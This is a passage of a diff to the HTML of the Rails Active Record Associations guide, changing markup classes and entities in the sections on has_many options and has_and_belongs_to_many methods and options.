<h5 id="_tt_select_tt_3"><tt>:select</tt></h5>
-<div class="para"><p>The <tt>:select</tt> option lets you override the SQL <tt>SELECT</tt> clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns.</p></div>
+<div class="paragraph"><p>The <tt>:select</tt> option lets you override the SQL <tt>SELECT</tt> clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns.</p></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
@@ -1968,25 +1720,25 @@ http://www.gnu.org/software/src-highlite -->
</tr></table>
</div>
<h5 id="_tt_source_tt_2"><tt>:source</tt></h5>
-<div class="para"><p>The <tt>:source</tt> option specifies the source association name for a <tt>has_many :through</tt> association. You only need to use this option if the name of the source association cannot be automatically inferred from the association name.</p></div>
+<div class="paragraph"><p>The <tt>:source</tt> option specifies the source association name for a <tt>has_many :through</tt> association. You only need to use this option if the name of the source association cannot be automatically inferred from the association name.</p></div>
<h5 id="_tt_source_type_tt_2"><tt>:source_type</tt></h5>
-<div class="para"><p>The <tt>:source_type</tt> option specifies the source association type for a <tt>has_many :through</tt> association that proceeds through a polymorphic association.</p></div>
+<div class="paragraph"><p>The <tt>:source_type</tt> option specifies the source association type for a <tt>has_many :through</tt> association that proceeds through a polymorphic association.</p></div>
<h5 id="_tt_through_tt_2"><tt>:through</tt></h5>
-<div class="para"><p>The <tt>:through</tt> option specifies a join model through which to perform the query. <tt>has_many :through</tt> associations provide a way to implement many-to-many relationships, as discussed earlier in this guide.</p></div>
+<div class="paragraph"><p>The <tt>:through</tt> option specifies a join model through which to perform the query. <tt>has_many :through</tt> associations provide a way to implement many-to-many relationships, as discussed earlier in this guide.</p></div>
<h5 id="_tt_uniq_tt"><tt>:uniq</tt></h5>
-<div class="para"><p>Specify the <tt>:uniq &#8658; true</tt> option to remove duplicates from the collection. This is most useful in conjunction with the <tt>:through</tt> option.</p></div>
+<div class="paragraph"><p>Specify the <tt>:uniq =&gt; true</tt> option to remove duplicates from the collection. This is most useful in conjunction with the <tt>:through</tt> option.</p></div>
<h5 id="_tt_validate_tt_3"><tt>:validate</tt></h5>
-<div class="para"><p>If you set the <tt>:validate</tt> option to <tt>false</tt>, then associated objects will not be validated whenever you save this object. By default, this is <tt>true</tt>: associated objects will be validated when this object is saved.</p></div>
+<div class="paragraph"><p>If you set the <tt>:validate</tt> option to <tt>false</tt>, then associated objects will not be validated whenever you save this object. By default, this is <tt>true</tt>: associated objects will be validated when this object is saved.</p></div>
<h4 id="_when_are_objects_saved_3">4.3.3. When are Objects Saved?</h4>
-<div class="para"><p>When you assign an object to a <tt>has_many</tt> association, that object is automatically saved (in order to update its foreign key). If you assign multiple objects in one statement, then they are all saved.</p></div>
-<div class="para"><p>If any of these saves fails due to validation errors, then the assignment statement returns <tt>false</tt> and the assignment itself is cancelled.</p></div>
-<div class="para"><p>If the parent object (the one declaring the <tt>has_many</tt> association) is unsaved (that is, <tt>new_record?</tt> returns <tt>true</tt>) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved.</p></div>
-<div class="para"><p>If you want to assign an object to a <tt>has_many</tt> association without saving the object, use the <tt><em>collection</em>.build</tt> method.</p></div>
+<div class="paragraph"><p>When you assign an object to a <tt>has_many</tt> association, that object is automatically saved (in order to update its foreign key). If you assign multiple objects in one statement, then they are all saved.</p></div>
+<div class="paragraph"><p>If any of these saves fails due to validation errors, then the assignment statement returns <tt>false</tt> and the assignment itself is cancelled.</p></div>
+<div class="paragraph"><p>If the parent object (the one declaring the <tt>has_many</tt> association) is unsaved (that is, <tt>new_record?</tt> returns <tt>true</tt>) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved.</p></div>
+<div class="paragraph"><p>If you want to assign an object to a <tt>has_many</tt> association without saving the object, use the <tt><em>collection</em>.build</tt> method.</p></div>
<h3 id="_the_tt_has_and_belongs_to_many_tt_association_2">4.4. The <tt>has_and_belongs_to_many</tt> Association</h3>
-<div class="para"><p>The <tt>has_and_belongs_to_many</tt> association creates a many-to-many relationship with another model. In database terms, this associates two classes via an intermediate join table that includes foreign keys referring to each of the classes.</p></div>
+<div class="paragraph"><p>The <tt>has_and_belongs_to_many</tt> association creates a many-to-many relationship with another model. In database terms, this associates two classes via an intermediate join table that includes foreign keys referring to each of the classes.</p></div>
<h4 id="_methods_added_2">4.4.1. Methods Added</h4>
-<div class="para"><p>When you declare a <tt>has_and_belongs_to_many</tt> association, the declaring class automatically gains 13 methods related to the association:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>When you declare a <tt>has_and_belongs_to_many</tt> association, the declaring class automatically gains 13 methods related to the association:</p></div>
+<div class="ulist"><ul>
<li>
<p>
<tt><em>collection</em>(force_reload = false)</tt>
@@ -1994,12 +1746,12 @@ http://www.gnu.org/software/src-highlite -->
</li>
<li>
<p>
-<tt><em>collection</em>&lt;&lt;(object, &#8230;)</tt>
+<tt><em>collection</em>&lt;&lt;(object, ...)</tt>
</p>
</li>
<li>
<p>
-<tt><em>collection</em>.delete(object, &#8230;)</tt>
+<tt><em>collection</em>.delete(object, ...)</tt>
</p>
</li>
<li>
@@ -2009,12 +1761,12 @@ http://www.gnu.org/software/src-highlite -->
</li>
<li>
<p>
-<tt><em>collection_singular</em>_ids</tt>
+<tt><em>collection\_singular</em>\_ids</tt>
</p>
</li>
<li>
<p>
-<tt><em>collection_singular</em>_ids=ids</tt>
+<tt><em>collection\_singular</em>\_ids=ids</tt>
</p>
</li>
<li>
@@ -2034,12 +1786,12 @@ http://www.gnu.org/software/src-highlite -->
</li>
<li>
<p>
-<tt><em>collection</em>.find(&#8230;)</tt>
+<tt><em>collection</em>.find(...)</tt>
</p>
</li>
<li>
<p>
-<tt><em>collection</em>.exist?(&#8230;)</tt>
+<tt><em>collection</em>.exist?(...)</tt>
</p>
</li>
<li>
@@ -2053,7 +1805,7 @@ http://www.gnu.org/software/src-highlite -->
</p>
</li>
</ul></div>
-<div class="para"><p>In all of these methods, <tt><em>collection</em></tt> is replaced with the symbol passed as the first argument to <tt>has_many</tt>, and <tt><em>collection</em>_singular</tt> is replaced with the singularized version of that symbol.. For example, given the declaration:</p></div>
+<div class="paragraph"><p>In all of these methods, <tt><em>collection</em></tt> is replaced with the symbol passed as the first argument to <tt>has_many</tt>, and <tt><em>collection</em>\_singular</tt> is replaced with the singularized version of that symbol.. For example, given the declaration:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -2061,9 +1813,8 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Part <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
has_and_belongs_to_many <span style="color: #990000">:</span>assemblies
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Each instance of the part model will have these methods:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Each instance of the part model will have these methods:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -2081,10 +1832,9 @@ assemblies<span style="color: #990000">.</span>size
assemblies<span style="color: #990000">.</span>find<span style="color: #990000">(...)</span>
assemblies<span style="color: #990000">.</span>exist?<span style="color: #990000">(...)</span>
assemblies<span style="color: #990000">.</span>build<span style="color: #990000">(</span>attributes <span style="color: #990000">=</span> <span style="color: #FF0000">{}</span><span style="color: #990000">,</span> <span style="color: #990000">...)</span>
-assemblies<span style="color: #990000">.</span>create<span style="color: #990000">(</span>attributes <span style="color: #990000">=</span> <span style="color: #FF0000">{}</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
+assemblies<span style="color: #990000">.</span>create<span style="color: #990000">(</span>attributes <span style="color: #990000">=</span> <span style="color: #FF0000">{}</span><span style="color: #990000">)</span></tt></pre></div></div>
<h5 id="_additional_column_methods">Additional Column Methods</h5>
-<div class="para"><p>If the join table for a <tt>has_and_belongs_to_many</tt> association has additional columns beyond the two foreign keys, these columns will be added as attributes to records retrieved via that association. Records returned with additional attributes will always be read-only, because Rails cannot save changes to those attributes.</p></div>
+<div class="paragraph"><p>If the join table for a <tt>has_and_belongs_to_many</tt> association has additional columns beyond the two foreign keys, these columns will be added as attributes to records retrieved via that association. Records returned with additional attributes will always be read-only, because Rails cannot save changes to those attributes.</p></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
@@ -2094,23 +1844,21 @@ assemblies<span style="color: #990000">.</span>create<span style="color: #990000
</tr></table>
</div>
<h5 id="_tt_em_collection_em_force_reload_false_tt_2"><tt><em>collection</em>(force_reload = false)</tt></h5>
-<div class="para"><p>The <tt><em>collection</em></tt> method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.</p></div>
+<div class="paragraph"><p>The <tt><em>collection</em></tt> method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@assemblies</span> <span style="color: #990000">=</span> <span style="color: #009900">@part</span><span style="color: #990000">.</span>assemblies
-</tt></pre></div></div>
-<h5 id="_tt_em_collection_em_lt_lt_object_8230_tt_2"><tt><em>collection</em>&lt;&lt;(object, &#8230;)</tt></h5>
-<div class="para"><p>The <tt><em>collection</em>&lt;&lt;</tt> method adds one or more objects to the collection by creating records in the join table.</p></div>
+<pre><tt><span style="color: #009900">@assemblies</span> <span style="color: #990000">=</span> <span style="color: #009900">@part</span><span style="color: #990000">.</span>assemblies</tt></pre></div></div>
+<h5 id="_tt_em_collection_em_lt_lt_object_tt_2"><tt><em>collection</em>&lt;&lt;(object, ...)</tt></h5>
+<div class="paragraph"><p>The <tt><em>collection</em>&lt;&lt;</tt> method adds one or more objects to the collection by creating records in the join table.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@part</span><span style="color: #990000">.</span>assemblies <span style="color: #990000">&lt;&lt;</span> <span style="color: #009900">@assembly1</span>
-</tt></pre></div></div>
+<pre><tt><span style="color: #009900">@part</span><span style="color: #990000">.</span>assemblies <span style="color: #990000">&lt;&lt;</span> <span style="color: #009900">@assembly1</span></tt></pre></div></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
@@ -2119,33 +1867,31 @@ http://www.gnu.org/software/src-highlite -->
<td class="content">This method is aliased as <tt><em>collection</em>.concat</tt> and <tt><em>collection</em>.push</tt>.</td>
</tr></table>
</div>
-<h5 id="_tt_em_collection_em_delete_object_8230_tt_2"><tt><em>collection</em>.delete(object, &#8230;)</tt></h5>
-<div class="para"><p>The <tt><em>collection</em>.delete</tt> method removes one or more objects from the collection by deleting records in the join table. This does not destroy the objects.</p></div>
+<h5 id="_tt_em_collection_em_delete_object_tt_2"><tt><em>collection</em>.delete(object, ...)</tt></h5>
+<div class="paragraph"><p>The <tt><em>collection</em>.delete</tt> method removes one or more objects from the collection by deleting records in the join table. This does not destroy the objects.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@part</span><span style="color: #990000">.</span>assemblies<span style="color: #990000">.</span>delete<span style="color: #990000">(</span><span style="color: #009900">@assembly1</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
+<pre><tt><span style="color: #009900">@part</span><span style="color: #990000">.</span>assemblies<span style="color: #990000">.</span>delete<span style="color: #990000">(</span><span style="color: #009900">@assembly1</span><span style="color: #990000">)</span></tt></pre></div></div>
<h5 id="_tt_em_collection_em_objects_tt_2"><tt><em>collection</em>=objects</tt></h5>
-<div class="para"><p>The <tt><em>collection</em>=</tt> method makes the collection contain only the supplied objects, by adding and deleting as appropriate.</p></div>
-<h5 id="_tt_em_collection_singular_em_ids_tt_2"><tt><em>collection_singular</em>_ids</tt></h5>
-<div class="para"><p># Returns an array of the associated objects' ids</p></div>
-<div class="para"><p>The <tt><em>collection_singular</em>_ids</tt> method returns an array of the ids of the objects in the collection.</p></div>
+<div class="paragraph"><p>The <tt><em>collection</em>=</tt> method makes the collection contain only the supplied objects, by adding and deleting as appropriate.</p></div>
+<h5 id="_tt_em_collection_singular_em_ids_tt_2"><tt><em>collection\_singular</em>\_ids</tt></h5>
+<div class="paragraph"><p># Returns an array of the associated objects' ids</p></div>
+<div class="paragraph"><p>The <tt><em>collection\_singular</em>\_ids</tt> method returns an array of the ids of the objects in the collection.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@assembly_ids</span> <span style="color: #990000">=</span> <span style="color: #009900">@part</span><span style="color: #990000">.</span>assembly_ids
-</tt></pre></div></div>
-<h5 id="_tt_em_collection_singular_em_ids_ids_tt_2"><tt><em>collection_singular</em>_ids=ids</tt></h5>
-<div class="para"><p>The <tt><em>collection_singular</em>_ids=</tt> method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.</p></div>
+<pre><tt><span style="color: #009900">@assembly_ids</span> <span style="color: #990000">=</span> <span style="color: #009900">@part</span><span style="color: #990000">.</span>assembly_ids</tt></pre></div></div>
+<h5 id="_tt_em_collection_singular_em_ids_ids_tt_2"><tt><em>collection\_singular</em>\_ids=ids</tt></h5>
+<div class="paragraph"><p>The <tt><em>collection\_singular</em>\_ids=</tt> method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.</p></div>
<h5 id="_tt_em_collection_em_clear_tt_2"><tt><em>collection</em>.clear</tt></h5>
-<div class="para"><p>The <tt><em>collection</em>.clear</tt> method removes every object from the collection by deleting the rows from the joining tableassociation. This does not destroy the associated objects.</p></div>
+<div class="paragraph"><p>The <tt><em>collection</em>.clear</tt> method removes every object from the collection by deleting the rows from the joining tableassociation. This does not destroy the associated objects.</p></div>
<h5 id="_tt_em_collection_em_empty_tt_2"><tt><em>collection</em>.empty?</tt></h5>
-<div class="para"><p>The <tt><em>collection</em>.empty?</tt> method returns <tt>true</tt> if the collection does not contain any associated objects.</p></div>
+<div class="paragraph"><p>The <tt><em>collection</em>.empty?</tt> method returns <tt>true</tt> if the collection does not contain any associated objects.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -2153,48 +1899,43 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="color: #FF0000">&lt;% if @part.assemblies.empty? %&gt;</span>
This part is <span style="font-weight: bold"><span style="color: #0000FF">not</span></span> used <span style="font-weight: bold"><span style="color: #0000FF">in</span></span> any assemblies
-<span style="color: #FF0000">&lt;% end %&gt;</span>
-</tt></pre></div></div>
+<span style="color: #FF0000">&lt;% end %&gt;</span></tt></pre></div></div>
<h5 id="_tt_em_collection_em_size_tt_2"><tt><em>collection</em>.size</tt></h5>
-<div class="para"><p>The <tt><em>collection</em>.size</tt> method returns the number of objects in the collection.</p></div>
+<div class="paragraph"><p>The <tt><em>collection</em>.size</tt> method returns the number of objects in the collection.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@assembly_count</span> <span style="color: #990000">=</span> <span style="color: #009900">@part</span><span style="color: #990000">.</span>assemblies<span style="color: #990000">.</span>size
-</tt></pre></div></div>
-<h5 id="_tt_em_collection_em_find_8230_tt_2"><tt><em>collection</em>.find(&#8230;)</tt></h5>
-<div class="para"><p>The <tt><em>collection</em>.find</tt> method finds objects within the collection. It uses the same syntax and options as <tt>ActiveRecord::Base.find</tt>. It also adds the additional condition that the object must be in the collection.</p></div>
+<pre><tt><span style="color: #009900">@assembly_count</span> <span style="color: #990000">=</span> <span style="color: #009900">@part</span><span style="color: #990000">.</span>assemblies<span style="color: #990000">.</span>size</tt></pre></div></div>
+<h5 id="_tt_em_collection_em_find_tt_2"><tt><em>collection</em>.find(...)</tt></h5>
+<div class="paragraph"><p>The <tt><em>collection</em>.find</tt> method finds objects within the collection. It uses the same syntax and options as <tt>ActiveRecord::Base.find</tt>. It also adds the additional condition that the object must be in the collection.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@new_assemblies</span> <span style="color: #990000">=</span> <span style="color: #009900">@part</span><span style="color: #990000">.</span>assemblies<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>all<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span><span style="color: #FF0000">"created_at &gt; ?"</span><span style="color: #990000">,</span> <span style="color: #993399">2</span><span style="color: #990000">.</span>days<span style="color: #990000">.</span>ago<span style="color: #990000">])</span>
-</tt></pre></div></div>
-<h5 id="_tt_em_collection_em_exist_8230_tt_2"><tt><em>collection</em>.exist?(&#8230;)</tt></h5>
-<div class="para"><p>The <tt><em>collection</em>.exist?</tt> method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as <tt>ActiveRecord::Base.exists?</tt>.</p></div>
-<h5 id="_tt_em_collection_em_build_attributes_tt"><tt><em>collection</em>.build(attributes = {})</tt></h5>
-<div class="para"><p>The <tt><em>collection</em>.build</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through the join table will be created, but the associated object will <em>not</em> yet be saved.</p></div>
+<pre><tt><span style="color: #009900">@new_assemblies</span> <span style="color: #990000">=</span> <span style="color: #009900">@part</span><span style="color: #990000">.</span>assemblies<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>all<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span><span style="color: #FF0000">"created_at &gt; ?"</span><span style="color: #990000">,</span> <span style="color: #993399">2</span><span style="color: #990000">.</span>days<span style="color: #990000">.</span>ago<span style="color: #990000">])</span></tt></pre></div></div>
+<h5 id="_tt_em_collection_em_exist_tt_2"><tt><em>collection</em>.exist?(...)</tt></h5>
+<div class="paragraph"><p>The <tt><em>collection</em>.exist?</tt> method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as <tt>ActiveRecord::Base.exists?</tt>.</p></div>
+<h5 id="_tt_em_collection_em_build_attributes_tt_2"><tt><em>collection</em>.build(attributes = {})</tt></h5>
+<div class="paragraph"><p>The <tt><em>collection</em>.build</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through the join table will be created, but the associated object will <em>not</em> yet be saved.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@assembly</span> <span style="color: #990000">=</span> <span style="color: #009900">@part</span><span style="color: #990000">.</span>assemblies<span style="color: #990000">.</span>build<span style="color: #990000">(</span><span style="color: #FF0000">{</span><span style="color: #990000">:</span>assembly_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Transmission housing"</span><span style="color: #FF0000">}</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
+<pre><tt><span style="color: #009900">@assembly</span> <span style="color: #990000">=</span> <span style="color: #009900">@part</span><span style="color: #990000">.</span>assemblies<span style="color: #990000">.</span>build<span style="color: #990000">(</span><span style="color: #FF0000">{</span><span style="color: #990000">:</span>assembly_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Transmission housing"</span><span style="color: #FF0000">}</span><span style="color: #990000">)</span></tt></pre></div></div>
<h5 id="_tt_em_collection_em_create_attributes_tt_2"><tt><em>collection</em>.create(attributes = {})</tt></h5>
-<div class="para"><p>The <tt><em>collection</em>.create</tt> method returns a new object of the associated type. This objects will be instantiated from the passed attributes, the link through the join table will be created, and the associated object <em>will</em> be saved (assuming that it passes any validations).</p></div>
+<div class="paragraph"><p>The <tt><em>collection</em>.create</tt> method returns a new object of the associated type. This objects will be instantiated from the passed attributes, the link through the join table will be created, and the associated object <em>will</em> be saved (assuming that it passes any validations).</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@assembly</span> <span style="color: #990000">=</span> <span style="color: #009900">@part</span><span style="color: #990000">.</span>assemblies<span style="color: #990000">.</span>create<span style="color: #990000">(</span><span style="color: #FF0000">{</span><span style="color: #990000">:</span>assembly_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Transmission housing"</span><span style="color: #FF0000">}</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
+<pre><tt><span style="color: #009900">@assembly</span> <span style="color: #990000">=</span> <span style="color: #009900">@part</span><span style="color: #990000">.</span>assemblies<span style="color: #990000">.</span>create<span style="color: #990000">(</span><span style="color: #FF0000">{</span><span style="color: #990000">:</span>assembly_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Transmission housing"</span><span style="color: #FF0000">}</span><span style="color: #990000">)</span></tt></pre></div></div>
<h4 id="_options_for_has_and_belongs_to_many">4.4.2. Options for has_and_belongs_to_many</h4>
-<div class="para"><p>In many situations, you can use the default behavior for <tt>has_and_belongs_to_many</tt> without any customization. But you can alter that behavior in a number of ways. This section cover the options that you can pass when you create a <tt>has_and_belongs_to_many</tt> association. For example, an association with several options might look like this:</p></div>
+<div class="paragraph"><p>In many situations, you can use the default behavior for <tt>has_and_belongs_to_many</tt> without any customization. But you can alter that behavior in a number of ways. This section cover the options that you can pass when you create a <tt>has_and_belongs_to_many</tt> association. For example, an association with several options might look like this:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -2202,10 +1943,9 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Parts <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
has_and_belongs_to_many <span style="color: #990000">:</span>assemblies<span style="color: #990000">,</span> <span style="color: #990000">:</span>uniq <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span><span style="color: #990000">,</span> <span style="color: #990000">:</span>read_only <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The <tt>has_and_belongs_to_many</tt> association supports these options:</p></div>
-<div class="ilist"><ul>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>The <tt>has_and_belongs_to_many</tt> association supports these options:</p></div>
+<div class="ulist"><ul>
<li>
<p>
<tt>:association_foreign_key</tt>
@@ -2303,7 +2043,7 @@ http://www.gnu.org/software/src-highlite -->
</li>
</ul></div>
<h5 id="_tt_association_foreign_key_tt"><tt>:association_foreign_key</tt></h5>
-<div class="para"><p>By convention, Rails guesses that the column in the join table used to hold the foreign key pointing to the other model is the name of that model with the suffix <tt>_id</tt> added. The <tt>:association_foreign_key</tt> option lets you set the name of the foreign key directly:</p></div>
+<div class="paragraph"><p>By convention, Rails guesses that the column in the join table used to hold the foreign key pointing to the other model is the name of that model with the suffix <tt>_id</tt> added. The <tt>:association_foreign_key</tt> option lets you set the name of the foreign key directly:</p></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
@@ -2320,10 +2060,9 @@ http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> User <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
has_and_belongs_to_many <span style="color: #990000">:</span>friends<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"User"</span><span style="color: #990000">,</span>
<span style="color: #990000">:</span>foreign_key <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"this_user_id"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>association_foreign_key <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"other_user_id"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
<h5 id="_tt_class_name_tt_4"><tt>:class_name</tt></h5>
-<div class="para"><p>If the name of the other model cannot be derived from the association name, you can use the <tt>:class_name</tt> option to supply the model name. For example, if a part has many assemblies, but the actual name of the model containing assemblies is <tt>Gadget</tt>, you'd set things up this way:</p></div>
+<div class="paragraph"><p>If the name of the other model cannot be derived from the association name, you can use the <tt>:class_name</tt> option to supply the model name. For example, if a part has many assemblies, but the actual name of the model containing assemblies is <tt>Gadget</tt>, you&#8217;d set things up this way:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -2331,10 +2070,9 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Parts <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
has_and_belongs_to_many <span style="color: #990000">:</span>assemblies<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Gadget"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
<h5 id="_tt_conditions_tt_4"><tt>:conditions</tt></h5>
-<div class="para"><p>The <tt>:conditions</tt> option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL <tt>WHERE</tt> clause).</p></div>
+<div class="paragraph"><p>The <tt>:conditions</tt> option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL <tt>WHERE</tt> clause).</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -2342,9 +2080,8 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Parts <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
has_and_belongs_to_many <span style="color: #990000">:</span>assemblies<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"factory = 'Seattle'"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>You can also set conditions via a hash:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>You can also set conditions via a hash:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -2352,27 +2089,26 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Parts <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
has_and_belongs_to_many <span style="color: #990000">:</span>assemblies<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>factory <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'Seattle'</span> <span style="color: #FF0000">}</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>If you use a hash-style <tt>:conditions</tt> option, then record creation via this association will be automatically scoped using the hash. In this case, using <tt>@parts.assemblies.create</tt> or <tt>@parts.assemblies.build</tt> will create orders where the factory column has the value "Seattle".</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>If you use a hash-style <tt>:conditions</tt> option, then record creation via this association will be automatically scoped using the hash. In this case, using <tt>@parts.assemblies.create</tt> or <tt>@parts.assemblies.build</tt> will create orders where the factory column has the value "Seattle".</p></div>
<h5 id="_tt_counter_sql_tt_2"><tt>:counter_sql</tt></h5>
-<div class="para"><p>Normally Rails automatically generates the proper SQL to count the association members. With the <tt>:counter_sql</tt> option, you can specify a complete SQL statement to count them yourself.</p></div>
+<div class="paragraph"><p>Normally Rails automatically generates the proper SQL to count the association members. With the <tt>:counter_sql</tt> option, you can specify a complete SQL statement to count them yourself.</p></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
<img src="./images/icons/note.png" alt="Note" />
</td>
-<td class="content">If you specify <tt>:finder_sql</tt> but not <tt>:counter_sql</tt>, then the counter SQL will be generated by substituting <tt>SELECT COUNT(*) FROM</tt> for the <tt>SELECT &#8230; FROM</tt> clause of your <tt>:finder_sql</tt> statement.</td>
+<td class="content">If you specify <tt>:finder_sql</tt> but not <tt>:counter_sql</tt>, then the counter SQL will be generated by substituting <tt>SELECT COUNT(*) FROM</tt> for the <tt>SELECT ... FROM</tt> clause of your <tt>:finder_sql</tt> statement.</td>
</tr></table>
</div>
